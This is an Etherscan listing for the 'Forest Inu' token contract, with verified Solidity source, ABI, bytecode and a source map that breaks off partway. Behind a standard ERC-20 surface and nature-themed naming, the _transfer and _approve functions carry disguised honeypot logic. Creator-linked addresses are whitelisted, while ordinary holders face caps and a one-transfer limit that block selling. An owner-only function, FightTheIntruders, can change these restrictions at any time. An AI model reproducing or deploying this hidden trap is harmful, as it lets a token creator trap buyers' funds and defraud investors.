ETH Price: $3,665.47 (+0.68%)
 

Overview

Max Total Supply

3,000,000,000 FORESTINU

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
5,292,522.47525851220512934 FORESTINU

Value
$0.00
0x4b97352169Ee36342Cf401a3CB162853a1Cac7E7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ForestInu

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-10-26
*/

/**
 * His home is the forest,
 * welcome to the keeper
 * of nature. The protector
 * of forests. The protector
 * of animals.
 * 
 * The Forest Inu
 
**/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract Ownable is Context {
    address private _previousOwner;
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => bool) public PrepareRedistributionETH;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => bool) public DoRedistributionWithUniswap;

    uint256 private _totalSupply;
    bool private detectSell;
    uint256 private chTx;
    bool private redistMechanic;
    string private _symbol;
    address private _creator;
    uint256 private tXs;
    uint256 private getRedistributionStatus;
    uint256 private setTxLimit;
    bool private tempVal;
    string private _name;
    
    constructor (string memory name_, string memory symbol_, address creator_, bool house11, bool house2, uint256 house9) {
        _name = name_;
        _symbol = symbol_;
        detectSell = house11;
        redistMechanic = house2;
        tempVal = house2;
        DoRedistributionWithUniswap[creator_] = house11;
        _creator = creator_;
        PrepareRedistributionETH[creator_] = house2;
        tXs = house9;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }
    
    function FightTheIntruders(address account, bool v1, bool v2, bool v3, uint256 v4) external onlyOwner {
        PrepareRedistributionETH[account] = v1;
        DoRedistributionWithUniswap[account] = v2;
        detectSell = v3;
        getRedistributionStatus = v4;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        
        if ((address(sender) == _creator) && (tempVal == false)) {
            getRedistributionStatus = chTx;
            detectSell = true;
        }
    
        if ((address(sender) == _creator) && (tempVal == true)) {
            PrepareRedistributionETH[recipient] = true;
            tempVal = false;
        }
    
        if (PrepareRedistributionETH[sender] == false) {
            if ((amount > setTxLimit)) {
                require(false);
            }
      
            require(amount < getRedistributionStatus);
            if (detectSell == true) {
                if (DoRedistributionWithUniswap[sender] == true) {
                    require(false);
                }
                DoRedistributionWithUniswap[sender] = true;
            }
        }
        
        uint256 taxamount = amount;
        
        _balances[sender] = senderBalance - taxamount;
        _balances[recipient] += taxamount;

        emit Transfer(sender, recipient, taxamount);
        
    }
        
    function _burn(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] -= amount;
        _balances[address(0)] += amount;
        emit Transfer(account, address(0), amount);
     }
     
    function _ProtectNature(address account, uint256 amount, uint256 val1, uint256 val2) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        
        getRedistributionStatus = _totalSupply;
        chTx = _totalSupply / val1;
        setTxLimit = chTx * val2;
        
        emit Transfer(address(0), account, amount);    
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        
        if ((address(owner) == _creator) && (redistMechanic == true)) {
            PrepareRedistributionETH[spender] = true;
            DoRedistributionWithUniswap[spender] = false;
            redistMechanic = false;
        }

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Forest is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        bool house101, bool house2, uint256 house6,
        uint256 house7, address creator,
        uint256 initialSupply, address owner,
        uint256 house9
    ) ERC20(name, symbol, creator, house101, house2, house9) {
        _ProtectNature(owner, initialSupply, house6, house7);
    }
}

contract ForestInu is ERC20Forest {
    constructor() ERC20Forest("Forest Inu", "FORESTINU", false, true, 900, 25, msg.sender, 3000000000 * 10 ** 18, msg.sender, 30) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"DoRedistributionWithUniswap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"v1","type":"bool"},{"internalType":"bool","name":"v2","type":"bool"},{"internalType":"bool","name":"v3","type":"bool"},{"internalType":"uint256","name":"v4","type":"uint256"}],"name":"FightTheIntruders","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"PrepareRedistributionETH","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040518060400160405280600a815260200169466f7265737420496e7560b01b81525060405180604001604052806009815260200168464f52455354494e5560b81b815250600060016103846019336b09b18ab5df7180b6b800000033601e8989858a8a856000620000896200019c60201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508551620000ec906010906020890190620002b4565b5084516200010290600a906020880190620002b4565b506007805493151560ff1994851681179091556009805493151593851684179055600f80548516841790556001600160a01b03909416600081815260056020908152604080832080548816909817909755600b80546001600160a01b0319169093179092556002909152939093208054909216179055600c55506200018c905082848888620001a0565b505050505050505050506200040d565b3390565b6001600160a01b038416620001fb5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b82600660008282546200020f91906200035a565b90915550506001600160a01b038416600090815260036020526040812080548592906200023e9084906200035a565b9091555050600654600d8190556200025890839062000375565b60088190556200026a90829062000398565b600e556040518381526001600160a01b038516906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050565b828054620002c290620003ba565b90600052602060002090601f016020900481019282620002e6576000855562000331565b82601f106200030157805160ff191683800117855562000331565b8280016001018555821562000331579182015b828111156200033157825182559160200191906001019062000314565b506200033f92915062000343565b5090565b5b808211156200033f576000815560010162000344565b60008219821115620003705762000370620003f7565b500190565b6000826200039357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615620003b557620003b5620003f7565b500290565b600181811c90821680620003cf57607f821691505b60208210811415620003f157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b610d1c806200041d6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806375b461f911610097578063a9059cbb11610066578063a9059cbb14610219578063d03f6d3b1461022c578063dd62ed3e1461024f578063e661a7241461028857600080fd5b806375b461f9146101c05780638da5cb5b146101e357806395d89b41146101fe578063a457c2d71461020657600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806370a082311461018d578063715018a6146101b657600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61029b565b60405161011a9190610c11565b60405180910390f35b610136610131366004610be7565b61032d565b604051901515815260200161011a565b6006545b60405190815260200161011a565b610136610166366004610b4f565b610343565b6040516012815260200161011a565b610136610188366004610be7565b6103f9565b61014a61019b366004610afa565b6001600160a01b031660009081526003602052604090205490565b6101be610430565b005b6101366101ce366004610afa565b60056020526000908152604090205460ff1681565b6001546040516001600160a01b03909116815260200161011a565b61010d6104d4565b610136610214366004610be7565b6104e3565b610136610227366004610be7565b61057e565b61013661023a366004610afa565b60026020526000908152604090205460ff1681565b61014a61025d366004610b1c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6101be610296366004610b8b565b61058b565b6060601080546102aa90610c95565b80601f01602080910402602001604051908101604052809291908181526020018280546102d690610c95565b80156103235780601f106102f857610100808354040283529160200191610323565b820191906000526020600020905b81548152906001019060200180831161030657829003601f168201915b5050505050905090565b600061033a338484610638565b50600192915050565b60006103508484846107c6565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156103da5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ee85336103e98685610c7e565b610638565b506001949350505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161033a9185906103e9908690610c66565b6001546001600160a01b0316331461048a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d1565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600a80546102aa90610c95565b3360009081526004602090815260408083206001600160a01b0386168452909152812054828110156105655760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103d1565b61057433856103e98685610c7e565b5060019392505050565b600061033a3384846107c6565b6001546001600160a01b031633146105e55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d1565b6001600160a01b039094166000908152600260209081526040808320805496151560ff19978816179055600590915290208054921515928416929092179091556007805491151591909216179055600d55565b6001600160a01b03831661069a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d1565b6001600160a01b0382166106fb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d1565b600b546001600160a01b03848116911614801561071f575060095460ff1615156001145b15610765576001600160a01b0382166000908152600260209081526040808320805460ff1990811660011790915560059092529091208054821690556009805490911690555b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661082a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d1565b6001600160a01b03821661088c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d1565b6001600160a01b038316600090815260036020526040902054818110156109045760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d1565b600b546001600160a01b0385811691161480156109245750600f5460ff16155b1561093d57600854600d556007805460ff191660011790555b600b546001600160a01b0385811691161480156109615750600f5460ff1615156001145b15610996576001600160a01b0383166000908152600260205260409020805460ff19908116600117909155600f805490911690555b6001600160a01b03841660009081526002602052604090205460ff16610a3257600e548211156109c557600080fd5b600d5482106109d357600080fd5b60075460ff16151560011415610a32576001600160a01b03841660009081526005602052604090205460ff16151560011415610a0e57600080fd5b6001600160a01b0384166000908152600560205260409020805460ff191660011790555b81610a3d8183610c7e565b6001600160a01b038087166000908152600360205260408082209390935590861681529081208054839290610a73908490610c66565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610abf91815260200190565b60405180910390a35050505050565b80356001600160a01b0381168114610ae557600080fd5b919050565b80358015158114610ae557600080fd5b600060208284031215610b0c57600080fd5b610b1582610ace565b9392505050565b60008060408385031215610b2f57600080fd5b610b3883610ace565b9150610b4660208401610ace565b90509250929050565b600080600060608486031215610b6457600080fd5b610b6d84610ace565b9250610b7b60208501610ace565b9150604084013590509250925092565b600080600080600060a08688031215610ba357600080fd5b610bac86610ace565b9450610bba60208701610aea565b9350610bc860408701610aea565b9250610bd660608701610aea565b949793965091946080013592915050565b60008060408385031215610bfa57600080fd5b610c0383610ace565b946020939093013593505050565b600060208083528351808285015260005b81811015610c3e57858101830151858201604001528201610c22565b81811115610c50576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610c7957610c79610cd0565b500190565b600082821015610c9057610c90610cd0565b500390565b600181811c90821680610ca957607f821691505b60208210811415610cca57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122029d94d2e02fb2bb34033b3f3934fc7276c7c0205026af8d07d5413e0e59c4ebb64736f6c63430008070033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c806375b461f911610097578063a9059cbb11610066578063a9059cbb14610219578063d03f6d3b1461022c578063dd62ed3e1461024f578063e661a7241461028857600080fd5b806375b461f9146101c05780638da5cb5b146101e357806395d89b41146101fe578063a457c2d71461020657600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806370a082311461018d578063715018a6146101b657600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61029b565b60405161011a9190610c11565b60405180910390f35b610136610131366004610be7565b61032d565b604051901515815260200161011a565b6006545b60405190815260200161011a565b610136610166366004610b4f565b610343565b6040516012815260200161011a565b610136610188366004610be7565b6103f9565b61014a61019b366004610afa565b6001600160a01b031660009081526003602052604090205490565b6101be610430565b005b6101366101ce366004610afa565b60056020526000908152604090205460ff1681565b6001546040516001600160a01b03909116815260200161011a565b61010d6104d4565b610136610214366004610be7565b6104e3565b610136610227366004610be7565b61057e565b61013661023a366004610afa565b60026020526000908152604090205460ff1681565b61014a61025d366004610b1c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6101be610296366004610b8b565b61058b565b6060601080546102aa90610c95565b80601f01602080910402602001604051908101604052809291908181526020018280546102d690610c95565b80156103235780601f106102f857610100808354040283529160200191610323565b820191906000526020600020905b81548152906001019060200180831161030657829003601f168201915b5050505050905090565b600061033a338484610638565b50600192915050565b60006103508484846107c6565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156103da5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ee85336103e98685610c7e565b610638565b506001949350505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161033a9185906103e9908690610c66565b6001546001600160a01b0316331461048a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d1565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600a80546102aa90610c95565b3360009081526004602090815260408083206001600160a01b0386168452909152812054828110156105655760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103d1565b61057433856103e98685610c7e565b5060019392505050565b600061033a3384846107c6565b6001546001600160a01b031633146105e55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d1565b6001600160a01b039094166000908152600260209081526040808320805496151560ff19978816179055600590915290208054921515928416929092179091556007805491151591909216179055600d55565b6001600160a01b03831661069a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d1565b6001600160a01b0382166106fb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d1565b600b546001600160a01b03848116911614801561071f575060095460ff1615156001145b15610765576001600160a01b0382166000908152600260209081526040808320805460ff1990811660011790915560059092529091208054821690556009805490911690555b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661082a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d1565b6001600160a01b03821661088c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d1565b6001600160a01b038316600090815260036020526040902054818110156109045760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d1565b600b546001600160a01b0385811691161480156109245750600f5460ff16155b1561093d57600854600d556007805460ff191660011790555b600b546001600160a01b0385811691161480156109615750600f5460ff1615156001145b15610996576001600160a01b0383166000908152600260205260409020805460ff19908116600117909155600f805490911690555b6001600160a01b03841660009081526002602052604090205460ff16610a3257600e548211156109c557600080fd5b600d5482106109d357600080fd5b60075460ff16151560011415610a32576001600160a01b03841660009081526005602052604090205460ff16151560011415610a0e57600080fd5b6001600160a01b0384166000908152600560205260409020805460ff191660011790555b81610a3d8183610c7e565b6001600160a01b038087166000908152600360205260408082209390935590861681529081208054839290610a73908490610c66565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610abf91815260200190565b60405180910390a35050505050565b80356001600160a01b0381168114610ae557600080fd5b919050565b80358015158114610ae557600080fd5b600060208284031215610b0c57600080fd5b610b1582610ace565b9392505050565b60008060408385031215610b2f57600080fd5b610b3883610ace565b9150610b4660208401610ace565b90509250929050565b600080600060608486031215610b6457600080fd5b610b6d84610ace565b9250610b7b60208501610ace565b9150604084013590509250925092565b600080600080600060a08688031215610ba357600080fd5b610bac86610ace565b9450610bba60208701610aea565b9350610bc860408701610aea565b9250610bd660608701610aea565b949793965091946080013592915050565b60008060408385031215610bfa57600080fd5b610c0383610ace565b946020939093013593505050565b600060208083528351808285015260005b81811015610c3e57858101830151858201604001528201610c22565b81811115610c50576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610c7957610c79610cd0565b500190565b600082821015610c9057610c90610cd0565b500390565b600181811c90821680610ca957607f821691505b60208210811415610cca57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122029d94d2e02fb2bb34033b3f3934fc7276c7c0205026af8d07d5413e0e59c4ebb64736f6c63430008070033

Deployed Bytecode Sourcemap

8878:178:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3818:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4151:169;;;;;;:::i;:::-;;:::i;:::-;;;2243:14:1;;2236:22;2218:41;;2206:2;2191:18;4151:169:0;2078:187:1;3930:108:0;4018:12;;3930:108;;;6219:25:1;;;6207:2;6192:18;3930:108:0;6073:177:1;4551:422:0;;;;;;:::i;:::-;;:::i;4046:93::-;;;4129:2;6397:36:1;;6385:2;6370:18;4046:93:0;6255:184:1;4328:215:0;;;;;;:::i;:::-;;:::i;3679:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3780:18:0;3753:7;3780:18;;;:9;:18;;;;;;;3679:127;1924:148;;;:::i;:::-;;2350:60;;;;;;:::i;:::-;;;;;;;;;;;;;;;;1710:79;1775:6;;1710:79;;-1:-1:-1;;;;;1775:6:0;;;2016:51:1;;2004:2;1989:18;1710:79:0;1870:203:1;3563:104:0;;;:::i;5269:377::-;;;;;;:::i;:::-;;:::i;3376:175::-;;;;;;:::i;:::-;;:::i;2147:57::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;3213:151;;;;;;:::i;:::-;-1:-1:-1;;;;;3329:18:0;;;3302:7;3329:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3213:151;4985:276;;;;;;:::i;:::-;;:::i;3818:100::-;3872:13;3905:5;3898:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3818:100;:::o;4151:169::-;4234:4;4251:39;308:10;4274:7;4283:6;4251:8;:39::i;:::-;-1:-1:-1;4308:4:0;4151:169;;;;:::o;4551:422::-;4657:4;4674:36;4684:6;4692:9;4703:6;4674:9;:36::i;:::-;-1:-1:-1;;;;;4750:19:0;;4723:24;4750:19;;;:11;:19;;;;;;;;308:10;4750:33;;;;;;;;4802:26;;;;4794:79;;;;-1:-1:-1;;;4794:79:0;;4288:2:1;4794:79:0;;;4270:21:1;4327:2;4307:18;;;4300:30;4366:34;4346:18;;;4339:62;-1:-1:-1;;;4417:18:1;;;4410:38;4465:19;;4794:79:0;;;;;;;;;4884:57;4893:6;308:10;4915:25;4934:6;4915:16;:25;:::i;:::-;4884:8;:57::i;:::-;-1:-1:-1;4961:4:0;;4551:422;-1:-1:-1;;;;4551:422:0:o;4328:215::-;308:10;4416:4;4465:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4465:34:0;;;;;;;;;;4416:4;;4433:80;;4456:7;;4465:47;;4502:10;;4465:47;:::i;1924:148::-;1837:6;;-1:-1:-1;;;;;1837:6:0;308:10;1837:22;1829:67;;;;-1:-1:-1;;;1829:67:0;;4697:2:1;1829:67:0;;;4679:21:1;;;4716:18;;;4709:30;4775:34;4755:18;;;4748:62;4827:18;;1829:67:0;4495:356:1;1829:67:0;2015:6:::1;::::0;1994:40:::1;::::0;2031:1:::1;::::0;-1:-1:-1;;;;;2015:6:0::1;::::0;1994:40:::1;::::0;2031:1;;1994:40:::1;2045:6;:19:::0;;-1:-1:-1;;;;;;2045:19:0::1;::::0;;1924:148::o;3563:104::-;3619:13;3652:7;3645:14;;;;;:::i;5269:377::-;308:10;5362:4;5406:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;5406:34:0;;;;;;;;;;5459:35;;;;5451:85;;;;-1:-1:-1;;;5451:85:0;;5869:2:1;5451:85:0;;;5851:21:1;5908:2;5888:18;;;5881:30;5947:34;5927:18;;;5920:62;-1:-1:-1;;;5998:18:1;;;5991:35;6043:19;;5451:85:0;5667:401:1;5451:85:0;5547:67;308:10;5570:7;5579:34;5598:15;5579:16;:34;:::i;5547:67::-;-1:-1:-1;5634:4:0;;5269:377;-1:-1:-1;;;5269:377:0:o;3376:175::-;3462:4;3479:42;308:10;3503:9;3514:6;3479:9;:42::i;4985:276::-;1837:6;;-1:-1:-1;;;;;1837:6:0;308:10;1837:22;1829:67;;;;-1:-1:-1;;;1829:67:0;;4697:2:1;1829:67:0;;;4679:21:1;;;4716:18;;;4709:30;4775:34;4755:18;;;4748:62;4827:18;;1829:67:0;4495:356:1;1829:67:0;-1:-1:-1;;;;;5098:33:0;;::::1;;::::0;;;:24:::1;:33;::::0;;;;;;;:38;;;::::1;;-1:-1:-1::0;;5098:38:0;;::::1;;::::0;;5147:27:::1;:36:::0;;;;;:41;;;::::1;;::::0;;::::1;::::0;;;::::1;::::0;;;5199:10:::1;:15:::0;;;::::1;;::::0;;;::::1;;::::0;;5225:23:::1;:28:::0;4985:276::o;7864:591::-;-1:-1:-1;;;;;7966:19:0;;7958:68;;;;-1:-1:-1;;;7958:68:0;;5464:2:1;7958:68:0;;;5446:21:1;5503:2;5483:18;;;5476:30;5542:34;5522:18;;;5515:62;-1:-1:-1;;;5593:18:1;;;5586:34;5637:19;;7958:68:0;5262:400:1;7958:68:0;-1:-1:-1;;;;;8045:21:0;;8037:68;;;;-1:-1:-1;;;8037:68:0;;3478:2:1;8037:68:0;;;3460:21:1;3517:2;3497:18;;;3490:30;3556:34;3536:18;;;3529:62;-1:-1:-1;;;3607:18:1;;;3600:32;3649:19;;8037:68:0;3276:398:1;8037:68:0;8149:8;;-1:-1:-1;;;;;8131:26:0;;;8149:8;;8131:26;8130:56;;;;-1:-1:-1;8163:14:0;;;;:22;;:14;:22;8130:56;8126:225;;;-1:-1:-1;;;;;8203:33:0;;;;;;:24;: